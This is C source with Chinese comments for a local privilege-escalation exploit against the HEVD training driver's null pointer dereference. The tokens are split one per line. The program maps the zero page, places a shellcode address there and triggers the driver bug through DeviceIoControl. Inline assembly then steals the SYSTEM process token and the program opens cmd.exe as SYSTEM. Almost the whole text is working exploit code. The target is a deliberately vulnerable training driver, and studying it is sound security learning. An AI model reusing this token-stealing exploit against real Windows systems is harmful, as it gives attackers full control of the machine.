/
/
1.
设置符号链接名称
/
/
2.
控制码定义(与
0
环一样)
typedef NTSTATUS
(WINAPI
*
My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID
*
BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory
=
NULL;
static VOID shellcode() {
/
/
No Need of Kernel Recovery as we are
not
corrupting anything
__asm {
/
/
int
3
pop edi;
/
/
这里注意堆栈平衡
pop esi;
/
/
这里注意堆栈平衡
pop ebx;
/
/
这里注意堆栈平衡
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax;
Set
ZERO
mov eax, fs: [eax
+
KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD
is
located at FS : [
0x124
]
mov eax, [eax
+
EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN
7
SP1 SYSTEM process PID
=
0x4
SearchSystemPID:
mov eax, [eax
+
FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp
[eax
+
PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax
+
TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx
+
TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
ret
}
}
VOID EXP_NullPointerDereference() {
/
/
3.CreateFile
打开符号链接得到设备句柄
HANDLE hDevice
=
NULL;
hDevice
=
CreateFile(DEVICE_LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if
(hDevice
=
=
INVALID_HANDLE_VALUE) {
printf(
"[-] Error - Unable to obtain a handle to the driver, error code %d\n"
, GetLastError());
exit(
1
);
}
/
/
4.DeviceIoControl
给
0
环发请求并接收返回结果
DWORD dwRet
=
0
;
char exp_NullPointerDereference[
4
]
=
{
0
};
memset(exp_NullPointerDereference,
'A'
, sizeof(exp_NullPointerDereference));
/
/
4.2
申请
0
页内存空间
PVOID Zero_addr
=
(PVOID)
1
;
SIZE_T RegionSize
=
0x1000
;
*
(FARPROC
*
)&NtAllocateVirtualMemory
=
GetProcAddress(
GetModuleHandleW(L
"ntdll"
),
"NtAllocateVirtualMemory"
);
if
(NtAllocateVirtualMemory
=
=
NULL)
{
system(
"pause"
);
}
/
/
通过NtAllocateVirtualMemory来申请
0
页内存空间
if
(!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0
,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr !
=
NULL)
{
system(
"pause"
);
}
/
/
4.3
利用点处shellcode地址覆盖
/
/
将
0
页
+
0x4
偏移成员CloseProcedure设置为我们shellcode地址
*
(DWORD
*
)(
0x4
)
=
(DWORD)&shellcode;
DeviceIoControl(hDevice, HEVD_NULL_POINTER_DEREFERENCE, exp_NullPointerDereference, \
4
, NULL,
0
, &dwRet, NULL);
system(
"cmd.exe"
);
}
int
main() {
EXP_NullPointerDereference();
return
0
;
}